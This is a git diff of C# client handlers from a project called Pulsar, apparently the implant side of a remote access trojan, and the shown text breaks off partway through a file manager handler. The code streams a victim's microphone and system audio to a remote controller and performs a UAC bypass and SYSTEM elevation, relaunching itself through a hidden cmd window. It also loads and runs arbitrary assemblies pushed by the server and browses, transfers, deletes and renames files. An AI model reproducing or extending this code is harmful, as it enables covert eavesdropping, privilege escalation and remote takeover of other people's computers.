initial commit
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,261 @@
|
||||
using NAudio.CoreAudioApi;
|
||||
using NAudio.Wave;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Audio;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class AudioHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
public override bool CanExecute(IMessage message) => message is GetMicrophone ||
|
||||
message is GetMicrophoneDevice;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public ISender _client;
|
||||
|
||||
private bool _isStarted;
|
||||
|
||||
public WaveInEvent _audioDevice;
|
||||
|
||||
private int _deviceID;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetMicrophone msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case GetMicrophoneDevice msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMicrophone message)
|
||||
{
|
||||
if (message.CreateNew)
|
||||
{
|
||||
try
|
||||
{
|
||||
_isStarted = false;
|
||||
_audioDevice?.Dispose();
|
||||
OnReport("Audio streaming started");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error during audio device cleanup: {ex.Message}");
|
||||
}
|
||||
}
|
||||
if (message.Destroy)
|
||||
{
|
||||
try
|
||||
{
|
||||
Destroy();
|
||||
OnReport("Audio streaming stopped");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error stopping audio: {ex.Message}");
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (_client == null) _client = client;
|
||||
if (!_isStarted)
|
||||
{
|
||||
try
|
||||
{
|
||||
_deviceID = message.DeviceIndex;
|
||||
|
||||
if (_deviceID < 0 || _deviceID >= WaveIn.DeviceCount)
|
||||
{
|
||||
OnReport($"Invalid microphone device index: {_deviceID}. Available devices: {WaveIn.DeviceCount}");
|
||||
return;
|
||||
}
|
||||
var capabilities = WaveIn.GetCapabilities(_deviceID);
|
||||
if (capabilities.Channels == 0)
|
||||
{
|
||||
OnReport($"Microphone device {_deviceID} has no available channels");
|
||||
return;
|
||||
}
|
||||
|
||||
OnReport($"Initializing microphone device {_deviceID}: {capabilities.ProductName}");
|
||||
|
||||
_audioDevice = new WaveInEvent
|
||||
{
|
||||
DeviceNumber = _deviceID,
|
||||
WaveFormat = new WaveFormat(message.Bitrate, capabilities.Channels)
|
||||
};
|
||||
_audioDevice.BufferMilliseconds = 50;
|
||||
_audioDevice.DataAvailable += sourcestream_DataAvailable;
|
||||
_audioDevice.StartRecording();
|
||||
_isStarted = true;
|
||||
}
|
||||
catch (ArgumentOutOfRangeException ex)
|
||||
{
|
||||
OnReport($"Device index out of range: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
OnReport($"Invalid microphone operation: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (System.Runtime.InteropServices.COMException ex)
|
||||
{
|
||||
OnReport($"COM error accessing microphone: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
OnReport($"Unauthorized access to microphone: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Unexpected error initializing microphone: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void sourcestream_DataAvailable(object notUsed, WaveInEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (e?.Buffer == null || e.BytesRecorded <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] rawAudio = new byte[e.BytesRecorded];
|
||||
Array.Copy(e.Buffer, rawAudio, e.BytesRecorded);
|
||||
|
||||
_client?.Send(new GetMicrophoneResponse
|
||||
{
|
||||
Audio = rawAudio,
|
||||
Device = _deviceID
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error processing microphone data: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetMicrophoneDevice message)
|
||||
{
|
||||
try
|
||||
{
|
||||
var deviceList = new List<Tuple<int, string>>();
|
||||
|
||||
int deviceCount = WaveIn.DeviceCount;
|
||||
for (int i = 0; i < deviceCount; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
var capabilities = WaveIn.GetCapabilities(i);
|
||||
string deviceName = capabilities.ProductName;
|
||||
|
||||
OnReport($"Found microphone device {i}: {deviceName} (Channels: {capabilities.Channels})");
|
||||
|
||||
if (!string.IsNullOrEmpty(deviceName) && capabilities.Channels > 0)
|
||||
{
|
||||
deviceList.Add(Tuple.Create(i, deviceName));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error accessing microphone device {i}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = deviceList });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error enumerating microphone devices: {ex.Message}");
|
||||
client.Send(new GetMicrophoneDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
|
||||
}
|
||||
}
|
||||
|
||||
public void Destroy()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_audioDevice != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (_audioDevice.DeviceNumber >= 0) // Check if device is valid
|
||||
{
|
||||
_audioDevice.StopRecording();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error stopping microphone recording: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_audioDevice.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error disposing microphone device: {ex.Message}");
|
||||
}
|
||||
|
||||
_audioDevice = null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error in Destroy method: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
_isStarted = false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
Destroy();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error during disposal: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
using NAudio.CoreAudioApi;
|
||||
using NAudio.Wave;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Audio;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class AudioOutputHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
public override bool CanExecute(IMessage message) => message is GetOutput ||
|
||||
message is GetOutputDevice;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public ISender _client;
|
||||
|
||||
private bool _isStarted;
|
||||
|
||||
public WasapiLoopbackCapture _audioDevice;
|
||||
|
||||
private int _deviceID;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetOutput msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
|
||||
case GetOutputDevice msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetOutput message)
|
||||
{
|
||||
if (message.CreateNew)
|
||||
{
|
||||
try
|
||||
{
|
||||
_isStarted = false;
|
||||
_audioDevice?.Dispose();
|
||||
OnReport("Speaker audio streaming started");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error during audio device cleanup: {ex.Message}");
|
||||
}
|
||||
}
|
||||
if (message.Destroy)
|
||||
{
|
||||
try
|
||||
{
|
||||
Destroy();
|
||||
OnReport("Speaker audio streaming stopped");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error stopping speaker audio: {ex.Message}");
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (_client == null) _client = client;
|
||||
if (!_isStarted)
|
||||
{
|
||||
try
|
||||
{
|
||||
_deviceID = message.DeviceIndex;
|
||||
var enumerator = new MMDeviceEnumerator();
|
||||
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
|
||||
|
||||
if (_deviceID < 0 || _deviceID >= devices.Count)
|
||||
{
|
||||
OnReport($"Invalid device index: {_deviceID}. Available devices: {devices.Count}");
|
||||
enumerator.Dispose();
|
||||
return;
|
||||
}
|
||||
var device = devices[_deviceID];
|
||||
if (device == null)
|
||||
{
|
||||
OnReport($"Audio device at index {_deviceID} is null");
|
||||
enumerator.Dispose();
|
||||
return;
|
||||
}
|
||||
|
||||
OnReport($"Initializing system audio device {_deviceID}: {device.FriendlyName}");
|
||||
|
||||
if (device.AudioClient?.MixFormat == null)
|
||||
{
|
||||
OnReport($"Audio device {_deviceID} has invalid audio client or format");
|
||||
enumerator.Dispose();
|
||||
return;
|
||||
}
|
||||
|
||||
int sampleRate = message.Bitrate;
|
||||
int channels = device.AudioClient.MixFormat.Channels;
|
||||
var waveFormat = new WaveFormat(sampleRate, channels);
|
||||
|
||||
_audioDevice = new WasapiLoopbackCapture(device);
|
||||
_audioDevice.WaveFormat = waveFormat;
|
||||
|
||||
_audioDevice.DataAvailable += sourcestream_DataAvailable;
|
||||
_audioDevice.StartRecording();
|
||||
_isStarted = true;
|
||||
|
||||
enumerator.Dispose();
|
||||
}
|
||||
catch (ArgumentOutOfRangeException ex)
|
||||
{
|
||||
OnReport($"Device index out of range: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (InvalidOperationException ex)
|
||||
{
|
||||
OnReport($"Invalid audio operation: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (System.Runtime.InteropServices.COMException ex)
|
||||
{
|
||||
OnReport($"COM error accessing audio device: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (UnauthorizedAccessException ex)
|
||||
{
|
||||
OnReport($"Unauthorized access to audio device: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Unexpected error initializing audio capture: {ex.Message}");
|
||||
_isStarted = false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void sourcestream_DataAvailable(object sender, WaveInEventArgs e) //fix overheat
|
||||
{
|
||||
byte[] bufferCopy = new byte[e.BytesRecorded];
|
||||
Array.Copy(e.Buffer, bufferCopy, e.BytesRecorded);
|
||||
|
||||
Task.Run(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
_client.Send(new GetOutputResponse
|
||||
{
|
||||
Audio = bufferCopy,
|
||||
Device = _deviceID
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error sending audio data: {ex.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void Execute(ISender client, GetOutputDevice message)
|
||||
{
|
||||
try
|
||||
{
|
||||
var deviceList = new List<Tuple<int, string>>();
|
||||
var enumerator = new MMDeviceEnumerator();
|
||||
var devices = enumerator.EnumerateAudioEndPoints(DataFlow.Render, DeviceState.Active);
|
||||
|
||||
for (int i = 0; i < devices.Count; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
var deviceName = devices[i]?.FriendlyName;
|
||||
if (!string.IsNullOrEmpty(deviceName))
|
||||
{
|
||||
OnReport($"Found system audio device {i}: {deviceName}");
|
||||
deviceList.Add(Tuple.Create(i, deviceName));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error accessing device {i}: {ex.Message}");
|
||||
}
|
||||
}
|
||||
enumerator.Dispose();
|
||||
|
||||
client.Send(new GetOutputDeviceResponse { DeviceInfos = deviceList });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error enumerating audio devices: {ex.Message}");
|
||||
client.Send(new GetOutputDeviceResponse { DeviceInfos = new List<Tuple<int, string>>() });
|
||||
}
|
||||
}
|
||||
|
||||
public void Destroy()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_audioDevice != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
_audioDevice.DataAvailable -= sourcestream_DataAvailable;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error unsubscribing from DataAvailable event: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (_audioDevice.CaptureState == CaptureState.Capturing)
|
||||
{
|
||||
_audioDevice.StopRecording();
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error stopping audio recording: {ex.Message}");
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_audioDevice.Dispose();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error disposing audio device: {ex.Message}");
|
||||
}
|
||||
|
||||
_audioDevice = null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error in Destroy method: {ex.Message}");
|
||||
}
|
||||
finally
|
||||
{
|
||||
_isStarted = false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
Destroy();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
OnReport($"Error during disposal: {ex.Message}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,204 @@
|
||||
using Microsoft.Win32;
|
||||
using Pulsar.Client.Config;
|
||||
using Pulsar.Client.Helper;
|
||||
using Pulsar.Client.Helper.UAC;
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Client.Setup;
|
||||
using Pulsar.Client.User;
|
||||
using Pulsar.Client.Utilities;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.ClientManagement;
|
||||
using Pulsar.Common.Messages.ClientManagement.UAC;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Common.UAC;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class ClientServicesHandler : IMessageProcessor
|
||||
{
|
||||
private readonly PulsarClient _client;
|
||||
private readonly PulsarApplication _application;
|
||||
|
||||
public ClientServicesHandler(PulsarApplication application, PulsarClient client)
|
||||
{
|
||||
_application = application;
|
||||
_client = client;
|
||||
}
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoClientUninstall ||
|
||||
message is DoClientDisconnect ||
|
||||
message is DoClientReconnect ||
|
||||
message is DoAskElevate ||
|
||||
message is DoElevateSystem ||
|
||||
message is DoDeElevate ||
|
||||
message is DoUACBypass ||
|
||||
message is DoClearTempDirectory;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoClientUninstall msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientDisconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClientReconnect msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoAskElevate msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoElevateSystem msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoDeElevate msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoUACBypass msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoClearTempDirectory msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientUninstall message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Starting uninstall process..." });
|
||||
try
|
||||
{
|
||||
new ClientUninstaller().Uninstall();
|
||||
client.Send(new SetStatus { Message = "Uninstallation complete. Exiting client." });
|
||||
_client.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Uninstall failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientDisconnect message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Disconnecting client..." });
|
||||
_client.Exit();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClientReconnect message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Reconnecting client..." });
|
||||
_client.Disconnect();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoAskElevate message)
|
||||
{
|
||||
var userAccount = new UserAccount();
|
||||
client.Send(new SetStatus { Message = "Checking for administrative privileges..." });
|
||||
|
||||
if (userAccount.Type != AccountType.Admin)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Attempting to request elevation..." });
|
||||
|
||||
ProcessStartInfo processStartInfo = new ProcessStartInfo
|
||||
{
|
||||
FileName = "cmd",
|
||||
Verb = "runas",
|
||||
Arguments = "/k START \"\" \"" + Application.ExecutablePath + "\" & EXIT",
|
||||
WindowStyle = ProcessWindowStyle.Hidden,
|
||||
UseShellExecute = true
|
||||
};
|
||||
|
||||
_application.ApplicationMutex.Dispose();
|
||||
try
|
||||
{
|
||||
Process.Start(processStartInfo);
|
||||
client.Send(new SetStatus { Message = "Elevation process started. Exiting current instance." });
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Send(new SetStatus { Message = "User refused the elevation request." });
|
||||
_application.ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX);
|
||||
return;
|
||||
}
|
||||
_client.Exit();
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Process already running with administrative privileges." });
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoElevateSystem message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Attempting to elevate to SYSTEM..." });
|
||||
SystemElevation.Elevate(client);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoDeElevate message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Attempting to de-elevate from SYSTEM..." });
|
||||
SystemElevation.DeElevate(client);
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoUACBypass message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Executing UAC bypass..." });
|
||||
Bypass.DoUacBypass();
|
||||
client.Send(new SetStatus { Message = "UAC bypass completed. Exiting client." });
|
||||
_client.Exit();
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoClearTempDirectory message)
|
||||
{
|
||||
client.Send(new SetStatus { Message = "Starting temporary file cleanup..." });
|
||||
try
|
||||
{
|
||||
string tempPath = System.IO.Path.GetTempPath();
|
||||
string[] files = System.IO.Directory.GetFiles(tempPath, "*", System.IO.SearchOption.AllDirectories);
|
||||
int deletedFiles = 0;
|
||||
|
||||
foreach (string file in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.File.Delete(file);
|
||||
deletedFiles++;
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Ignore permission or lock errors
|
||||
}
|
||||
}
|
||||
|
||||
foreach (string dir in System.IO.Directory.GetDirectories(tempPath))
|
||||
{
|
||||
try
|
||||
{
|
||||
System.IO.Directory.Delete(dir, true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
// Ignore restricted directories
|
||||
}
|
||||
}
|
||||
|
||||
client.Send(new SetStatus { Message = $"Cleanup complete — {deletedFiles} files deleted." });
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
client.Send(new SetStatus { Message = $"Temp cleanup failed: {ex.Message}" });
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,98 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using Pulsar.Client.Plugins;
|
||||
using Pulsar.Common.Plugins;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public sealed class CommandHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) =>
|
||||
message is DoLoadUniversalPlugin ||
|
||||
message is DoExecuteUniversalCommand;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
try
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoLoadUniversalPlugin loadMsg:
|
||||
HandleLoadUniversalPlugin(sender, loadMsg);
|
||||
break;
|
||||
case DoExecuteUniversalCommand execMsg:
|
||||
HandleExecuteUniversalCommand(sender, execMsg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
sender.Send(new SetStatus { Message = "Command error: " + ex.Message });
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleLoadUniversalPlugin(ISender sender, DoLoadUniversalPlugin msg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var asm = Assembly.Load(msg.PluginBytes);
|
||||
var type = asm.GetType(msg.TypeName, throwOnError: true);
|
||||
var plugin = Activator.CreateInstance(type);
|
||||
var initializeMethod = type.GetMethod("Initialize");
|
||||
initializeMethod.Invoke(plugin, new object[] { msg.InitData });
|
||||
UniversalPluginDispatcher.RegisterPlugin(msg.PluginId, plugin);
|
||||
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = "load",
|
||||
Success = true,
|
||||
Message = $"Plugin {msg.PluginId} loaded successfully"
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = "load",
|
||||
Success = false,
|
||||
Message = ex.Message
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleExecuteUniversalCommand(ISender sender, DoExecuteUniversalCommand msg)
|
||||
{
|
||||
var result = UniversalPluginDispatcher.ExecuteCommand(msg.PluginId, msg.Command, msg.Parameters);
|
||||
|
||||
var resultType = result.GetType();
|
||||
var successProperty = resultType.GetProperty("Success");
|
||||
var messageProperty = resultType.GetProperty("Message");
|
||||
var dataProperty = resultType.GetProperty("Data");
|
||||
var shouldUnloadProperty = resultType.GetProperty("ShouldUnload");
|
||||
var nextCommandProperty = resultType.GetProperty("NextCommand");
|
||||
|
||||
bool success = successProperty != null ? (bool)successProperty.GetValue(result) : false;
|
||||
string message = messageProperty != null ? (string)messageProperty.GetValue(result) : "Unknown error";
|
||||
byte[] data = dataProperty != null ? (byte[])dataProperty.GetValue(result) : null;
|
||||
bool shouldUnload = shouldUnloadProperty != null ? (bool)shouldUnloadProperty.GetValue(result) : false;
|
||||
string nextCommand = nextCommandProperty != null ? (string)nextCommandProperty.GetValue(result) : null;
|
||||
|
||||
sender.Send(new DoUniversalPluginResponse
|
||||
{
|
||||
PluginId = msg.PluginId,
|
||||
Command = msg.Command,
|
||||
Success = success,
|
||||
Message = message,
|
||||
Data = data,
|
||||
ShouldUnload = shouldUnload,
|
||||
NextCommand = nextCommand
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
using Pulsar.Client.Config;
|
||||
using Pulsar.Client.Utilities;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Networking;
|
||||
using System.Diagnostics;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
/// <summary>
|
||||
/// Receives deferred assembly packages from the server and forwards them to the manager.
|
||||
/// </summary>
|
||||
public class DeferredAssemblyHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DeferredAssembliesPackage;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var package = message as DeferredAssembliesPackage;
|
||||
if (package == null)
|
||||
{
|
||||
Debug.WriteLine("[DeferredAssemblyHandler] Received invalid package.");
|
||||
return;
|
||||
}
|
||||
|
||||
DeferredAssemblyManager.RegisterPackage(package);
|
||||
|
||||
var remaining = DeferredAssemblyManager.GetMissingAssemblies();
|
||||
if (remaining != null && remaining.Length > 0)
|
||||
{
|
||||
Debug.WriteLine($"[DeferredAssemblyHandler] Still missing {remaining.Length} deferred assemblies, requesting again.");
|
||||
ThreadPool.QueueUserWorkItem(_ =>
|
||||
{
|
||||
try
|
||||
{
|
||||
sender.Send(new RequestDeferredAssemblies
|
||||
{
|
||||
Assemblies = remaining,
|
||||
ClientVersion = Settings.ReportedVersion
|
||||
});
|
||||
}
|
||||
catch (System.Exception ex)
|
||||
{
|
||||
Debug.WriteLine($"[DeferredAssemblyHandler] Failed to re-request deferred assemblies: {ex.Message}");
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,587 @@
|
||||
using Pulsar.Client.Networking;
|
||||
using Pulsar.Common;
|
||||
using Pulsar.Common.Enums;
|
||||
using Pulsar.Common.Extensions;
|
||||
using Pulsar.Common.Helpers;
|
||||
using Pulsar.Common.IO;
|
||||
using Pulsar.Common.Messages;
|
||||
using Pulsar.Common.Messages.Administration.FileManager;
|
||||
using Pulsar.Common.Messages.Other;
|
||||
using Pulsar.Common.Models;
|
||||
using Pulsar.Common.Networking;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Security;
|
||||
using System.Threading;
|
||||
|
||||
namespace Pulsar.Client.Messages
|
||||
{
|
||||
public class FileManagerHandler : NotificationMessageProcessor, IDisposable
|
||||
{
|
||||
private readonly ConcurrentDictionary<int, FileSplit> _activeTransfers = new ConcurrentDictionary<int, FileSplit>();
|
||||
private readonly Semaphore _limitThreads = new Semaphore(2, 2); // maximum simultaneous file downloads
|
||||
|
||||
private readonly PulsarClient _client;
|
||||
|
||||
private CancellationTokenSource _tokenSource;
|
||||
|
||||
private CancellationToken _token;
|
||||
|
||||
public FileManagerHandler(PulsarClient client)
|
||||
{
|
||||
_client = client;
|
||||
_client.ClientState += OnClientStateChange;
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
}
|
||||
|
||||
private void OnClientStateChange(Networking.Client s, bool connected)
|
||||
{
|
||||
switch (connected)
|
||||
{
|
||||
case true:
|
||||
|
||||
_tokenSource?.Dispose();
|
||||
_tokenSource = new CancellationTokenSource();
|
||||
_token = _tokenSource.Token;
|
||||
break;
|
||||
case false:
|
||||
// cancel all running transfers on disconnect
|
||||
_tokenSource.Cancel();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
public override bool CanExecute(IMessage message) => message is GetDrives ||
|
||||
message is GetDirectory ||
|
||||
message is FileTransferRequest ||
|
||||
message is FileTransferCancel ||
|
||||
message is FileTransferChunk ||
|
||||
message is DoPathDelete ||
|
||||
message is DoPathRename ||
|
||||
message is DoZipFolder;
|
||||
|
||||
public override bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public override void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case GetDrives msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case GetDirectory msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case FileTransferRequest msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case FileTransferCancel msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case FileTransferChunk msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoPathDelete msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoPathRename msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
case DoZipFolder msg:
|
||||
HandleDoZipFile(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
